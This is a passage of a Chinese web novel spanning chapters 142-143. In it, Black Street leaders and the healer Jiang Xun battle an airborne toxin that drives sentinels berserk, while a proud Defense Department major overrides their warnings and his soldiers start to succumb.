“让普通人穿上护甲顶在前面，这种毒素对普通人效果非常弱。”江寻语速飞快，边说着，边从随身带着的大型医疗包中取出来时带上的附着剂，“这种附着剂能够吸附一部分体内的毒素，让毒素蔓延的速度延缓下来。曲老大，有条件的话，让所有前去支援的哨兵都戴上防毒面具，可以的话最好也戴上手套，尽量减少皮肤暴露。再把这些药剂分发给大家，如果穿着防护装备后，还感觉不对劲，就立刻喝下药剂，退到后方，换人上。” “来人！都听到希先生说的话了没有？马上通知下面的人，按希先生说的做！”曲绍迅速吩咐下去，随即，又犹豫着，转头看向江寻，“希先生，刚才来的时候我承诺过您，不会把您扯进这次的事件里。但是现在情况紧急，我们这里唯一有希望能救治大家的就只有您了，恳请您这次能施以援手！此番大恩，我们三个必定都铭记于心！” 巴顿与丽安娜闻言，对望一眼，对曲绍对待江寻的态度有些惊讶，但此时，也顾不上深究，同时应声。 “当然，我也不想黑街的大家出事，我跟你们一起去。”江寻没有任何犹豫，马上提起医疗包跟上了众人。 在三人的命令下，整个黑街的地下势力全部动了起来，所有人开始向着那片火光冲天，混乱喧嚣的方向疾步奔去。 普通人组成的武装小队被快速推到了队伍前方，最前面一排人手持着防爆盾牌，第二排人背着约束网枪与强效麻醉枪。后方，则是一排戴着防毒面具，穿着长袖长裤手套靴子，把自身裸露的皮肤全部严密包裹起来的哨兵。 另有几个脚步快速的身影在人群中来回奔跑，将江寻带来的药剂迅速分发下去。 “保持阵型前进！前排给我顶住！所有哨兵随时注意观察自身状态！感觉不对立刻喝药后撤！”曲绍的吼声，即使在周围复杂混乱的环境中依然穿透力极强，清晰地传入每个人耳中。 一行人乱中有序地迅速逼近爆炸起火的废弃工厂，还远远未至工厂近旁，远处的景象已经让见惯了黑街腥风血雨的巴顿和丽安娜都倒吸了一口凉气。 那座平日里冷冷清清的废弃工厂，此刻一侧角落火光冲天而起，滚滚浓烟熊熊腾飞，远远飘来一股刺鼻的焦糊味。 爆炸的地方太靠近街道，临街那片厂墙被炸出了一个大窟窿，爆炸的冲击波从窟窿中冲了出来，把附近的几处小屋整个撕裂开来，倒塌了大片。 遍地都是还未燃烧殆尽的建筑残骸、碎裂的金属片与残破的布料，地面上一片狼藉，暗红色的血液把破碎的杂物与众人奔逃时扬起的尘土，混合成一片污浊的泥潭。 街道上充斥着哭喊声、尖叫声、野兽般的嘶吼声，到处都是没头苍蝇一般在废墟中疯狂逃窜的人群，脸上是如出一辙的惊慌恐惧。 而在这些混乱的人群中，夹杂着许多明显行为异常的哨兵。 一部分人眼神空洞，口中呢喃，对周遭所有的异状都视若无睹；另一部分则情绪狂躁行为失控，更严重些的，已经呈现出部分拟化亦或完全拟化的状态，挥舞着兽化后强化的肢体作为武器，疯狂撕扯破坏着身边的一切。 那最初的爆炸所造成的伤害有限，大部分的破坏，都是这些失控的哨兵们造成的。 “操！”巴顿看着一个已经完全兽化，化为一只巨猿的哨兵猛得跳起，一巴掌将一辆正在升空准备逃跑的悬浮车“轰”一声拍得变了形，忍不住在心中怒骂了一句。 “按计划行动！”曲绍看了巴顿一眼，大声下令，“常规队伍，优先疏散平民离开。把神游状态的哨兵全部集中到西边空地上去，小心避让狂化目标！” “哨兵队！两人一组，优先制服威胁等级低，尚未完全狂化的目标！以控制为主，别硬拼。完全狂化的，标记位置，设立隔离带，等力量集中再处理！记住！随时注意自身和同组人的状态，一有不对马上喝药后撤！” “后勤组，等哨兵队带回未完全狂化的哨兵以后，第一时间给他们吃下药剂单独隔离起来！还有，让出去采购的人动作再快点！购买到了这种药剂和更多的防护装备以后，第一时间派人运过来！” 曲绍的命令被迅速传达了下去，所有人马都有条不紊地迅速行动了起来。 巴顿和丽安娜对视一眼，站了出来：“那就由我们先去处理那些已经完全狂化的人吧。” 曲绍有些意外地看了巴顿一眼，略一思索，点了点头：“那就辛苦两位了，不过不要勉强，两位也要务必注意自身防护。” “那还用你说！”巴顿睨了曲绍一样，接过手下递过来的防毒面具戴在了头上，一个纵跃就向着他选定的目标冲了过去。 丽安娜也同样装备齐整，对着曲绍点了点头，身影一闪，投入了场中。 江寻紧跟在曲绍身后，目光锐利地扫视着混乱的现场，一边快速观察着那些狂化哨兵的状态，评估空气中散溢的毒素剂量，一边分神留意着己方这边戴着防毒面具的哨兵们。 观察了片刻，他的心情愈发沉重下来。 他记得一开始沃特三人中毒的时候，从发现症状到彻底陷入神游，时间虽不长，但是也有个两三小时的时间。可此刻，他们赶到这里时，距离工厂爆发，那种毒素被彻底泄露出来，还不到半小时。 这么短的时间内，竟已经有这么多哨兵表现出更加严重的症状了……那些泄露出来的毒素，剂量绝对不小。 江寻望着仍然熊熊燃烧着的厂房，眉头狠狠皱了起来。 几分钟后，场上有几个带着防毒面具的哨兵，似乎是失去了意识，被送到了后方，但大部分人，都没有表现出明显的症状。 这一幕清晰地落入江寻眼中，他这才觉得从刚刚开始就悬着的心放松下来了一些，立刻转头对曲绍道：“曲老大，有效！防毒面具能有效阻隔毒素的传播，基本可以确定，毒素的主要传播途径是空气传播，务必让所有人维持好自身的防护！” 曲绍闻言，一直紧绷着的脸色稍稍缓了下来，立刻打开了通讯器，将这一发现传达给了所有行动人员：“所有哨兵注意！希先生确认毒素主要通过空气传播，任何情况下，所有人不得擅自摘下面具，注意自身防护保持警惕！” 这一讯息，如一剂强心剂，让许多惴惴不安的行动人员都松了口气，纷纷紧了紧脸上戴着的防护面具，动作更加迅速了起来。 曲绍等人的果断行动，很快被街道上众多亡命奔逃的平民发现，尚有行动能力的人，马上转变了方向，向着行动队的方向靠拢了过来。受伤的人也纷纷出声求救，混乱的场面开始变得有秩序，救援行动逐渐步入了正轨。 然而就在这时，深暗的头顶上空，突然有数道光束从远方穿过黑暗照射了过来。紧接着，尖锐的引擎呼啸声才慢一步抵达。 曲绍几人被强烈的光束刺得眯起了眼睛，在一片炫目的灯光中，只见数量黑色涂装的武装悬浮车，如同飞驰的战斗机，带着刺目的光束，由远及近疾速飞来。 那惊人的速度，撕裂了头顶被浓烟笼罩着的夜空，最终悬停在了正在燃烧着的工厂正上方。 与此同时，从通往这片区域的路口，响起了整齐划一的沉重脚步声。 在众人惊愕的目光下，一队全副武装，用头盔覆盖住了面目的士兵，如同潮水般，出现在了众人的面前。 一现身，来人便迅速散开，在人群外围拉起了一道警戒线，将曲绍等人全部包围在了内部。手中的制式能量步枪整齐地上膛。随即，那黑洞洞的枪口便径直指向了混乱区域中心的位置。 隐隐的，江寻感觉那些瞄准过来的枪口，对准的不仅是那些疯狂混乱的哨兵，似乎也将正在救人的曲绍等人囊括在了其中。 这批新到的一队正规兵人数虽不多，带来的压迫感却远超曲绍等人的手下，一股冰冷肃杀的气场扑面而来，瞬间将现场的混乱与喧嚣压制了下去。 “咔哒，咔哒……” 金属叩击在地面的声音规律响起，那群全副武装的士兵向两侧散开，中央位置自然而然地让出了一条通道来。 一个身着纯黑色笔挺制服的男人，踏着沉重的金属军靴，越众而出。 曲绍眯起眼睛，感受着来人气势沉凝的精神力场，目光扫过对方胸前的徽章，眼中掠过一抹了然之色，心底却暗骂晦气。 联盟防卫部的人，到了！ 来人看上去三十多岁，面容冷峻，神情严肃，他锐利的目光快速扫过面前混乱一片的现场，最后落在了站在中央的曲绍、巴顿以及丽安娜三人身上，目光中闪过一丝怀疑。 “曲绍先生，巴顿先生，丽安娜女士，”兰德尔少校冰冷的声音响起，那特有的缓慢而拉长一些的尾音，充满了属于世家的腔调，话语出口，透着毫不掩饰的居高临下，“能否给我解释一下，这里发生了什么事？三位黑街话事人，又为什么会同时出现在这里？” 他说话时明明用了敬语，语气里却毫无敬意，反而充满了怀疑与审视。 兰德尔对于三人来说也是老熟人了，不知道打过多少次交道。当然，过程却从不愉快。 因为三人的产业多少都有些灰色地带、踩线的性质，平日里的摩擦中，也多是尽量避退着官方，不愿意惹事。可今天他们做的明明是利于联盟与哨兵岛的事，却一上来就遭到兰德尔的质疑，脾气火爆的巴顿当即就要发作。 “妈的，兰德尔，你还管到老子头上来了！”巴顿一个跨步顶了上来，对于周围调转过来朝向他的枪口理都不理，一只凶悍独眼死死钉在兰德尔身上，“你现在站着的他妈是黑街！这里本来就是我们的地盘，老子爱在哪里就在哪里，轮得到你来管？” 曲绍站在旁边，脸色难看，任由巴顿与兰德尔针锋相对。 “我劝你好好回答我的问题，”兰德尔眼睛眯了起来，面无表情地把目光移向曲绍，“否则，恐怕就只能请几位和我回防卫部谈谈了。” 他话语刚落，周围呈半圆形散开，将这一片区域包围起来的下属们纷纷调转了枪口，几十个黑洞洞的枪口同时对准了曲绍几人。 “你……”巴顿面色一变，就要上前，却被曲绍拉住。曲绍强压下心头的不快，却还是忍不住冷下了脸，上前一步，将巴顿挡在了身后，用尽可能冷静的语气回道： “兰德尔上校，我们提前接到了预警，这个废弃工厂里，可能发生了高危精神毒素泄露事件。为了维护这里居民的安全，我们特意组织了人手，前来调查解决这件事。但是，来晚了一步，”曲绍抬抬下巴，指向身后仍在熊熊燃烧着的厂区，“这里发生了爆炸，毒素已经开始扩散了。所以我们现在正在组织人手疏散救助民众，收拾烂摊子。” “我们作为联盟公民，为了维护联盟的安定主动做好事，防止事态的进一步恶化，这没有错吧？” “提前得到了预警？刚好晚了一步？”兰德尔的眉梢一挑，嘴角泄露出一丝讥诮，似乎对这个说法嗤之以鼻，“连愈灵殿和灵枢中心都没有发现的异常，你们几个倒是比我们专职监控防护的防卫部还要消息灵通，谁能给你们预警？还这么巧，爆炸的时候刚好集结好了人马？你觉得我会信吗？这出戏该不会就是你们自导自演出来的吧？” 曲绍心头火起，但看着面前仍然在急速恶化的局势，还是忍下了这口气，试图解释清楚。 “爆炸前刚好集结完毕确实是巧合，但我们的确是提前得到了预警。就是这位希先生最先发现了这里的异常，提醒了我们。”曲绍侧身，示意了一下身后的江寻，“以防卫部的情报能力，我相信少校是知道希先生的吧？” “你就是那个希先生？”兰德尔的视线居高临下地掠过江寻，在看到他领口那枚B级铜钉盾徽时停顿了一下，随即淡淡移开，倒是没有像对曲绍几人时那般针锋相对，只是面无表情地说道：“一位B级向导的主观判断，没有经过任何权威组织的认证，就能让你们言听计从？曲绍，我倒是不知道你们什么时候变得这么听话了。” “更何况，一个连真面目都不敢露出来，只能躲在暗巷里的B级向导说的话，你也信？”兰德尔嗤笑一声，“他要是真的有本事，怎么不去愈灵殿，不去塔里供职，反而要藏在这黑街暗巷里面，开一个破诊所？” 饶是曲绍一心顾全着大局，不欲与兰德尔在这种关键时刻争执，还是被他一而再再而三的怀疑激起了怒气，再开口时，语气里已经带了三分火气：“兰德尔少校！希先生的能力我们有目共睹，这次的预警也非常准确及时，请你不要迁怒！你和我们有什么过节和怀疑，我们可以等事情了结之后再理论。” 曲绍抬手一指工厂周围仍在失去理智地疯狂攻击身边所有人的狂化哨兵，“现在时间紧迫，我们能否先放下以前的旧怨，先渡过面前的危机？” 兰德尔眯起眼睛，见曲绍这幅急迫的表现，心中不仅没有放下对面前这些人的怀疑，反而越想越深起来，脸色也渐渐沉了下来。 “几个失控的哨兵，这算什么紧急状态？我们联盟正规军岂是你手下的那些乌合之众能比的？这种程度的事件，我们不知道处理过多少起了，还用得着你替我们操心？倒是你……”兰德尔的眼睛死死盯着曲绍，“你为什么这么着急？那工厂真的和你们没关系吗？藏着你们什么见不得光的秘密？” “我看你们是想趁着我们防卫部没到，抢先一步过来销毁证据的吧？”兰德尔的声音低沉了下来，一双眼睛逼视着曲绍，似是想看透他心底的秘密。 “妈的！我们都说了和那破工厂没关系，你听不懂人话吗？”巴顿再也按捺不住情绪，一把拨开曲绍阻拦着他的手臂，大声吼道。 “是的，兰德尔少校，我们之前是有些龃龉，但这次的事真的和我们没有关系。请你不要再意气用事了。”这次连丽安娜都忍不住了，“这种神经毒素威胁性很大，还是通过空气传播的，如今都不知道已经扩散到哪里了，请你先放下对我们的成见，和我们一起先把这件事解决了再说吧！” “不行！” 兰德尔斩钉截铁地说，面上怀疑之色几乎溢出，略微抬手，止住了曲绍的分辨，冷声说道：“鉴于事态性质未明，此地现在由联盟防卫部正式接管。让你们手下的人立刻停止一切未经授权的行动，撤离到安全警戒线以外，接受统一排查。否则，一律按照嫌疑人处理！” 第142章 曲绍被兰德尔这副油盐不进的态度气得脸色铁青：“兰德尔少校！我已经强调过了， 这种毒素设计出来就是专门针对哨兵的，而且通过空气传播，根本防不胜防， 若是中了招， 造成的后果不堪设想！” “我们的人戴着防毒面具， 用了希先生提供的特殊药剂顶着才能勉强行动，你们这么多人，一点儿防护都没有， 贸然进入毒素最浓重的核心区域， 不仅自身难保，更可能刺激到里面那些狂化者！你想过这么做的后果吗？” 兰德尔少校听完，冷哼一声，脸上却无更多波澜，“多谢你的告知。但我们防卫部与你们这些乌合之众可不一样，我们有自己的标准防护预案与愈灵殿支持的专业医疗团队， 还有包括明家在内的各大世家财团提供的医疗资源支持， 可不是你们这种连个A级向导都没见过的泥腿子能比的。我们的团队会自行评估风险， 并采取相应的措施，就不需要你来操心了！” 说完， 他便转身看向身后始终沉默伫立的副官，半垂下来的眼睛里， 分明掠过一丝不以为意：“通知医疗组，提取空气样本分析毒素成分， 把报告发送给制药组，用最快的速度研制出特效药剂送过来。另外，准备广谱神经解毒剂和镇静剂，行动组领取药剂后， 准备进入核心区域，提醒他们，提高防护等级，注意环境监测，出现任何感官异常立即报告并后撤。” 兰德尔的命令下达的速度很快，他的下属们也迅速行动了起来，看起来的确是经验丰富的样子。 随即，他重新看向了曲绍三人，右手缓缓按在了腰间的配枪上，语气冰冷：“别再让我重复了！现在，曲绍，带着你的人退下，去指定的地点接受排查，不要再妨碍我执行公务，否则，我将以涉嫌危害公共安全、妨碍公务的罪名，现场逮捕你们！” 随着他的话音落下，周围那些防卫部的士兵们，齐刷刷地打开了手中能量步枪的保险，黑洞洞的枪口中汇聚起幽蓝光芒，凌冽的杀气，径直指向曲绍三人以及站在他们身边的手下，空气中瞬间火药味弥漫。 曲绍被气得青筋暴起，一双眼睛死死盯着兰德尔，牙关紧咬。他知道，和这个一向不把黑街众人看在眼里的世家子弟讲道理是行不通的，再争辩下去毫无意义，对方的傲慢和偏见已经蒙蔽了理智。 身后的巴顿低吼一声想要上前，被丽安娜一把按住。她眼神冰冷地对着曲绍微微摇头。硬碰硬，他们占不到任何便宜，反而会坐实“暴力抗法”的罪名，被对方抓住把柄。 曲绍深吸一口气，死死看了兰德尔那张毫无表情的脸一眼，从牙缝里挤出声音：“好！我们撤！但愿兰德尔长官能记住今天的话，不要后悔！” 说罢，他猛地转身，对着通讯器低吼，声音中满是压抑不住的怒火：“所有人听令！行动停止，立刻撤退至西侧空地上待命，把路给我们防卫部的长官们让出来！” “什么，停止行动？老大？！可是……” “怎么回事老大？我这边马上就能拿下这个人了……” “老大，那这些平民怎么办？” 命令一出，频道内顿时传来数道疑惑不解的声音。 “别说了！执行我的命令！现在立刻停止行动，所有人！撤退！”曲绍闭了闭眼，又看了一眼面前混乱的场景，狠下心来命令道。 随着曲绍的再次下令，众人即使愤怒不甘，还是迅速停止了救援和压制的行动，搀扶起刚才在行动中受伤的同伴，成群结队地撤了出来，沉默而迅速地退到了工厂西侧一片相对空旷的空地上。 可他们即使停下了行动，目光还是忍不住关切地投向场地中心，一双双或是浑浊，或是布满了血丝的眼睛，带着担忧与愤怒，冷冷地注视着那群已经开始向前推进的防卫部士兵。 江寻跟在曲绍的身后没有说话，目光从兰德尔那张目下无人的面庞上，转移到那些开启了标准战术头盔的防护模式，用护具遮住了下半张脸的士兵身上，又看了看仍在燃烧着冒出黑烟，不时发出轻微爆鸣的工厂废墟，心中浮起一阵忧虑。 兰德尔连头盔都没有戴，只是放出了自己的精神力场环绕着周身，瞥了一眼乖乖退到了旁边的黑街众人，嘴角勾起一个不明显的弧度。 随后，他不再理会曲绍几人，转身对着自己的部下用力一挥手，同时，自己也跟在后面压了上去，声音中充满了自信：“第七小队，快速前进！以最快速度疏散人群，控制所有失控哨兵，找到起火源头，搜索现场！让他们看看，什么叫专业队伍！” “是！” 士兵们高声应是，突进的速度骤然加快，向着前方那片充斥着嘶吼、撞击、尖叫与哭喊声的战场，一头扎了进去。 黑街众人陆续退到了西侧空地上，被几名持枪的防卫部士兵围在中间，一个一个接受着他们所谓的“审查”流程。 曲绍三人和江寻站在最前方，目光投向那些开始行动的防卫部士兵们。 不知是幸还是不幸，兰德尔并非那种只是坐镇后方指挥的长官，他本身也是一名高阶哨兵，此时跟在自己的队伍身后，一路走，一路频频出手。 他的队伍，也确实展现出了远超曲绍手下们的专业素养。 从开始接敌开始，士兵们就自动组成了三人一组的战术小组。而且看他们彼此间默契的配合，明显对于这种模式已经十分熟悉了。 面对着对面已经完全狂化，破坏力惊人的哨兵，他们大多数时候并不硬碰硬，而是利用麻醉枪、电网、束缚网等控制型装备进行远程压制。 一旦目标中招，被暂时限制住了行动，便会有后排的专业小组迅速上前，用特制约束铐锁住其手脚关节，再将对方拖到后方临时规划出的安置点中集中看管。 整个过程，都不需要兰德尔下达更具体的指令，每个士兵的战术素养都很高，行动过程十分高效迅速。 而兰德尔，也只是在遇到几个强悍的B级以上哨兵时，才会出手，大部分时候都如闲庭信步般跟在队伍身后，还在成功处置了几个最难缠的狂化哨兵后，转过头去，遥遥地和站在远处的曲绍几人对视了一眼，露出一个意味不明的笑容。 这一笑，却比站在面前的直接鄙夷更加让人火冒三丈。 “妈的！看他那副德行！”巴顿低声狠狠咒骂一句，啐出一口唾沫，碗大的拳头捏得咯咯作响。 “冷静点，巴顿。”曲绍也同样一肚子火，可作为首领，他却不会如巴顿那样轻易表露出来，“至少他们看起来确实在慢慢控制局面了。”他看着那些曾经困扰着他们的狂化哨兵，被一个个制服约束住，更多的平民被从藏身之处救出来，语气复杂。 丽安娜也冷声道：“哼，正规军的装备和训练确实不是我们能比的，算了，只要他们能把事情好好搞定，今天这口气我就忍了。” 几人面色复杂地望着不远处士兵们的行动，而江寻却没有参与他们的对话。 他的目光始终紧紧追随着那些越来越深入工厂区域的士兵，越是靠近那仍在冒出烟气的核心爆炸点，士兵们的动作似乎就越发显得缓慢迟滞。 起初的时候还不明显，但江寻敏锐地发现一个士兵在投掷束缚网时，手臂挥动的轨迹奇怪地停顿了一下，网兜失了力，在离他不远的地方就落了下来。还有一人，走着走着，步子越来越小，似乎有些脱离了他的战术小队，而后猛得摇了摇头，才追了上去。 而此刻，在不远处的行动小队中，公用通讯频道里，也开始响起零星的报告声： “报告，三组请求临时休整，补充解毒剂。” “报告，检测到空气中不明毒素浓度持续提升，五组已按规定注射广谱解毒剂。” “报告……” 声音一直在零星响起，持续不断，但也没有到非常频繁的程度，于是，兰德尔也按照正常的流程继续下令：“解毒剂存量不足的小组，暂时原地停留，等待后勤小组补充，其他人，按照预案继续执行，保持推进速度，尽快找到源头控制住。” 于是，除了一两个小组自觉地退到两边，在原地一边继续收拢狂化哨兵，一边等待后勤组赶上来之外，剩余的士兵们依然在快速地前进着。 江寻也在远处看到了队伍中不少人的注射动作，可接下来观察到的情况，却让他心中一紧。 他注意到，那些注射了药剂的士兵，在后续的行动中，并没有恢复如开始那般的流畅动作，那种不时出现的凝滞感依然存在，甚至随着众人离工厂越来越近，越发明显起来。 更糟的是，当他们的动作越发凝滞之后，停下来注射药剂的人反而变少了。 这恐怕不是因为不需要，而是这些士兵的思维运转速度也被影响到，已经失去了一部分判断力了。 对方准备的通用解毒剂，效果似乎非常有限…… 江寻心中的不安感越来越强烈，他忍不住凑近了曲绍，压低声音问道：“曲老大，这些防卫部的士兵，实力如何？” 曲绍正带着些烦躁看向兰德尔的方向，听到江寻突然的问话，微微一怔，虽然不明白为什么希先生现在问这个，但还是迅速回答道： “哨兵岛对中央星乃至整个联盟来说，都至关重要，能够驻扎在这里负责安全的防卫部，准入门槛是极高的。我们虽然和兰德尔不太对付，但是他也的确有自己骄傲的资本。” “他不仅自己是个A级哨兵，和凡纳家还有点沾亲带故的关系。他带来的这支行动队是他的嫡系，里面有不少都是他们家族专门培养出来的精锐战士。一小半人是B级的，其他大部分都是C级的，除了几个后勤，基本就没有等级低的人。”曲绍看着江寻的脸色，心中一咯噔，“您问这些是什么意思？” 江寻的脸色随着曲绍的话语越发沉重下去，听到他的问话，抬手指了指远处几个动作已经明显出现不协调的士兵：“你看他们的动作，比刚才僵硬了不少，对比身边的其他人，反应也慢了半拍。重要的是，这几个人我刚刚已经看到他们注射药剂了……” “这是一种新型毒素，他们使用的通用解毒剂，效果恐怕非常有限，甚至可能完全没有效果。”江寻顿了顿，语气凝重地补充道： “毒素已经在侵蚀他们了，只不过他们的等级更高，意志更强，身体素质和精神抗性也更好，所以发作的速度比一开始那些哨兵们慢一些，但是一旦等症状彻底爆发出来……你想过没有，哪怕他们里面只有三分之一的人完全狂化，一群全副武装，至少是C级起步的哨兵集体拟化发狂，会是什么场面？到时候，别说提供救援了，我们这些人，能不能自保都是个问题。” “更何况，他们现在还在往工厂内部移动，那里的毒素浓度更高，他们发作得会越来越快，到时候，万一在工厂里发狂，无差别攻击时，破坏了那边可能存在的药物储存装置，可能会还导致毒素的第二次大规模泄露。到时候，恐怕整个黑街，甚至相邻的外域范围内，都会遭到灭顶之灾。” 曲绍闻言，脸色瞬间变得无比难看。 他顺着江寻所指的方向，向队伍前头仔细看去，在有意识的观察下，果然发现了不少士兵的行动已经失去了最初的流畅与精准，完全不像是与他们经常打交道的那批人了。 他自己是A级巅峰，太清楚高阶哨兵失控后所能带来的破坏力了，更何况那队人马还有一身精良的装备和刻入骨子里的战斗本能，那绝不是最初沾染上毒素的那些黑街独行哨兵能比的。 而他们这边，除了自己是A级巅峰外，大部分都是普通人与低阶哨兵，就连巴顿和丽安娜也只是B级巅峰而已。应付刚开始的那番局面都已经捉襟见肘了，根本无力再应对一帮子彻底发狂的高阶哨兵。 “操！”曲绍低骂一声，再也顾不上对兰德尔的愤懑，猛得转身，大步走向前方正在组织着几个留下来的手下，为黑街众人一个个做着审查记录的小队长。 “士兵！”曲绍一把扣住对方的肩头，急切地将人拉扯了过来，“立刻用你们的内部频道联系兰德尔！告诉他，他的人出问题了！你们准备的解毒剂没用，让他们马上撤出来！再晚就来不及了，快！” 那小队长被曲绍拽得一个踉跄，刚提起的戒备在听清曲绍的话语后，化为一片错愕：“什么？你在说什么？” “我说你们的人已经中毒了，马上联系兰德尔，让他带着人撤回来！”曲绍急声说道。 他的表情太过真切，话语里的内容也令人惊惧，那小队长下意识地按住了耳机就想联系，可一瞬的迟疑之后，脸上又露出了犹豫为难的神色。 他看了看远处仍然在有序推进着的队伍，皱了皱眉头，语气带着几分怀疑：“曲绍先生，少校正在执行任务，我没有接到小队出现异常的报告，而且我们的队伍也正在依据前期计划行进，没有任何迹象表明出现了问题。请问你的判断依据是什么？我不能仅凭你一句话就去干扰前线指挥。” “我还要给你什么依据？那是你们的人出事了！你的眼睛是瞎了吗？仔细看看你那些同僚的动作！”自从这支队伍抵达以后，接二连三的怀疑，已经让曲绍的耐心几乎告罄，他气得想揪住面前这个火烧眉毛，还在纠结着流程证据的木头脑筋。 “他们的动作都走形成什么样了你看不出来？这就是毒素已经开始发作的迹象！再等下去，等他们开始像你们抓住的那些人一样发狂，就晚了！” 那小队长闻言，又仔细看了看，眉头皱了起来，他确实感觉到队伍推进的速度似乎慢了一些，个别同伴的动作也有点别扭，但看他们仍然保持着的战术走位，远远没到中毒狂化的程度。 他犹豫了一下，还是摇了摇头：“抱歉，曲绍先生。在行动进行的过程中，可能会出现各种问题，我们的指挥官会根据所遇到的问题随时调整队伍的行动模式。他们的动作不协调，可能也有刚刚注射了解毒剂，需要一定时间生效的缘故。” “感谢您的关心，但现在情况还在我们的控制之下，也没有任何报告显示出现了问题。我会继续密切关注，如果有进一步的变化，会及时报告少校的。但是现在，请您退回到指定的区域去。”说着话，他的语气重新变得强硬起来，右手搭在了腰间枪套上，是与他的上司如出一辙的威胁姿势。 曲绍深深吸了一口气，狠狠瞪了他一眼，这支队伍被兰德尔带得和他一个德行，既古板又高傲，根本听不进去人话！ 他憋着一肚子的火气退回了原地，脸色被气得铁青。 “妈的！一帮子榆木疙瘩，油盐不进！”他低声咒骂道。 江寻与曲绍说话的时候并没有避着人，站在旁边耳聪目明的巴顿和丽安娜二人，也把刚才那番话听得清清楚楚。 “那现在怎么办？”见曲绍被软钉子顶了回来，巴顿也意识到了问题的严重性，焦躁地问。 曲绍的目光与看向他的丽安娜直直对上，深吸了一口气，走到她身边，声音压得极低：“丽安娜，抱歉，我知道你不愿意联系那个人。可是你也看到了，他们根本听不进去我们的话，再这么下去，马上就要出大事了。到时候，不仅仅是兰德尔和我们的人要折在这里，整个黑街可能都危险了！那可不是我们平时那样的小打小闹了。” “能不能请你帮帮忙，把这里的情况递上去？咱们这里不缺人，但是缺高阶战力，必须让能管这件事的人尽快介入才行，派来的人等级也必须要高，越快越好！” 丽安娜刚才就因兰德尔的态度憋了一肚子气，听到江寻的话语也一直冷眼旁观，颇有点想看他们好戏的意思。 此刻听到曲绍让她帮忙联系人的话，先是眉毛紧紧皱起，待听到曲绍的担忧后，又沉默了下来。 她再次看向了工厂区域，待看到一名士兵，在正常走着路时，竟然踉跄着绊了一跤，眼中终于闪过一抹无奈。 “等着。”她不再犹豫，干脆利落地转过身去，走到一个隐蔽的角落里，背对着众人，手臂停顿了一下，然后晃动了起来，似乎是拨出了一道通讯申请。而后，对着终端的那头低声而快速地说了些什么。 另一边，江寻也没闲着，在脑中大致估算了一下，对曲绍道：“曲老大，之前让人准备的附着剂还要加大储备量，而且还要增加一部分镇静剂，清水也要大量准备。这些不仅能防止我们自己的人中毒，也能让中毒程度较浅的人以最快的速度恢复过来，补充战力。让负责后勤的兄弟尽快！” 曲绍知道这些药剂的重要性，立刻点头，把命令吩咐了下去。巴顿与丽安娜手下的人，也跟着行动了起来，为即将到来的危机做着准备。 事情全部安排了下去，此刻，能做的只有等待。 几人再无心说话，数双眼睛齐齐盯向工厂的方向。在远处传来的零星打斗声与燃烧的阵阵黑烟中，空气仿佛都要凝固了起来。 这件事会不会继续恶化下去，只看是前方那些防卫部的士兵先乱起来，还是可能的援军先赶过来。 不祥的预感，未知的命运，不安如同深沉的湖水，将每个人都淹没了进去。 第143章 时间在焦灼的等待中一分一秒地快速流逝， 愈见明显的异样，令每一秒都长得令人煎熬。 西侧的空地上，曲绍三人带来的手下们， 在旁边监视的持枪士兵不可理喻的视线下， 一刻不停地忙碌着。将一桶桶清水筹集起来， 整齐码放在空地一侧。 与此同时，更多的人手，陆续将一桶桶还散发着苦涩药材气味的附着剂与镇静剂运送过来， 再将它们分装成单人份的混合药物， 存入冷藏箱中备用。空气中弥漫着药材的苦味和隐隐的紧张感。 “快！刚送过来的水摆到这边来！”一个脸上黑一道白一道的男人哑声催促着，长时间的工作，让汗水从他额角簌簌滑落。 旁边年轻些的同伴一边动作着，一边瞥向那些持枪监视的士兵，低声嘟囔：“妈的，瞪什么瞪……”手下动作却不敢慢。 曲绍几人沉默地看着物资被不断汇集过来， 心中却一刻也不敢放松， 目光始终紧紧盯着工厂方向。 一名手下凑近曲绍， 低声汇报：“老大，物资准备的差不多了， 接下来怎么办？” 曲绍看了一眼整摞整摞分装好的药剂，再看一眼躺在不远处安置点中， 仍在挣扎呢喃着的发狂哨兵们，低声说道：“分出部分人手， 给那些已经被压制住的狂化哨兵喂药。叫上会战场包扎的人，先给前期救出来的受伤平民做紧急急救。” “还有……”曲绍停顿了一下，“实在救不了的，给那些士兵们说， 让他们马上联系最近的医院，派专业团队来救人。” “总之，”曲绍叹了一口气，“你们斟酌着，能做多少就做多少吧！” 旁边的巴顿，丽安娜两人，听着曲绍的话也是一阵沉默。 今日这场祸事结束，整个黑街里，不知要死多少人。 叹了口气，几人重新把注意力集中在前方。 视线尽头，防卫部行动小队的推进速度已经明显慢了下来，原本干净利落的战术配合中，也开始出现越来越多的破绽。 这一系列的异样表现，让那位仍然在组织着人手执行“审查”任务的小队长，也面露忧色，再无法说出“一切正常”的话语。 狂风暴雨之前，总有云雾遮蔽天空。而此时，第一片浮云，来了！ 原本正在缓慢行进的队伍中段，忽然出现了一股小小的骚乱。 一名走得踉踉跄跄的士兵，忽然毫无征兆地停下了脚步，双手无力地向下一垂，手中端着的步枪“啪嗒”一声落在了地上。紧接着，他的脖子好像无法承受住头颅的重量，深深地弯折了下去，整个身体就这么如同一座雕像般凝固了起来。 骚动迅速向着周围蔓延开来，走在队伍最后方的兰德尔立刻注意到了这里的异常。他眉头紧锁，一眼认出了呆立不动的人影，厉声喝道：“卡洛斯！出了什么问题？报告情况！为什么突然停下？” 然而，任凭他如何疾言厉色，那名叫做卡洛斯的士兵仍然低垂着头站立不动，毫无反应。战术头盔遮挡住了他的表情，身旁的人只能看到他直挺挺的身体正站在原地，轻微晃动着。 兰德尔眉头紧锁，不满的目光扫向卡洛斯身旁的两人：“谁和他同组？看到他不对劲为什么不报告？马上给他注射解毒剂！” 然而，兰德尔的话音落下，却没有人应声，走在卡洛斯身边的两名士兵仿佛什么也没发现一般，一人仍在挪动着双腿，机械地向前迈步。而另一人，一手抵在太阳穴上，跌跌撞撞地走着，仿佛根本没听到命令。 一股寒意窜上兰德尔脊背，三个人同时出问题？这绝不可能是巧合！ 他当机立断，停下了脚步，立刻在频道里下令：“所有单位注意！立即停止前进，原地警戒！确认自身状态……” 他的命令还没说完，忽地被打断！ “吼——！” 一声低沉嘶哑，充满了痛苦与暴戾的兽吼声猛得从队伍右侧炸响！ 下一刻，只见原本走在右前侧的一名士兵猛地弯下了腰去，紧接着，脊背突然以肉眼可见的速度迅猛隆起，“嗤啦”一声一下子撕裂了身上的作战服。伴随着一声痛苦的嚎叫，被撑开到极致的皮肤下窜出一层浓密的毛发，转瞬间拉长变黑。 